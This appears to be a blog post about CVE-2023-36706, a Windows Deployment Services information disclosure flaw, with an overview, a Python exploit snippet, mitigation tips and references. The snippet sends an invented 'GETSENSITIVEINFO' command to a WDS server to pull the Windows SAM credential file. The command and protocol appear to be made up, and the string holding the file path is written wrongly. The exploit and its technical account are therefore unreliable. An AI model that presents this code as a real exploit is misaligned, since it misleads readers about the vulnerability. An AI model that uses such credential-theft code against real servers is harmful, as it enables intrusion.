CVE-2023-36706: Critical Windows Deployment Services Information Disclosure Vulnerability and Exploit Details

In this long-read post, we will explore the Windows Deployment Services (WDS) information disclosure vulnerability, identified as CVE-2023-36706. Windows Deployment Services is a server technology from Microsoft used to remotely deploy Windows operating systems. This vulnerability can potentially allow an attacker to gain unauthorized access to sensitive information that includes credentials and configuration files from a Windows server.

Overview of CVE-2023-36706

* Vulnerability Class: Information Disclosure
* Affected Product: Windows Deployment Services
* Impact: Unauthorized access to sensitive information, including system configurations and credentials
* Severity: Critical

Exploit Details

The vulnerability occurs due to improper handling of certain message types by the WDS server, which could lead to unauthorized disclosure of information stored on the affected server. An attacker can exploit this by sending specially crafted messages to a vulnerable WDS server and gain access to sensitive information stored on the server.

Code Snippet

This code snippet is an example of an exploit that can be used by an attacker to take advantage of this vulnerability. Please note that this code snippet is for educational purposes only and should not be used for malicious intent.

import socket

WDS_SERVER = "192.168.1.1"
WDS_PORT = 17500
TARGET_FILENAME = "c:\windows\system32\config\sam"

# Crafting the malicious message
message = "GETSENSITIVEINFO:{}\r\n".format(TARGET_FILENAME)

# Send the message to the WDS server
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((WDS_SERVER, WDS_PORT))
sock.sendall(message.encode())

# Receive the file from the WDS server
received_data = b''
while True:
    data = sock.recv(8192)
    if not data: break
    received_data += data

sock.close()

# Save the received data to a file
with open('extracted_sensitive_file.bin', 'wb') as f:
    f.write(received_data)
print("Sensitive information successfully extracted.")

Mitigation and Remediation

It is highly recommended to apply patches or updates provided by the software vendor to fix this vulnerability. In addition, the following measures can help to reduce the risk of exploitation:

Isolate the WDS server in a secure network segment, and restrict access from untrusted networks.

2. Deploy security solutions, such as intrusion prevention systems or application firewalls, to detect and block potential attack attempts.

Original References

* CVE-2023-36706 - MITRE CVE dictionary entry for this vulnerability
* Microsoft Security Advisory - Microsoft's security advisory for CVE-2023-36706

Conclusion

CVE-2023-36706 is a critical information disclosure vulnerability affecting Windows Deployment Services. By exploiting this vulnerability, an attacker can potentially gain unauthorized access to sensitive information stored on a vulnerable server. It is essential to apply patches or updates provided by Microsoft and employ effective security controls to protect your systems from this vulnerability.

Timeline

Published on: 10/10/2023 18:15:15 UTC
Last modified on: 10/12/2023 22:22:35 UTC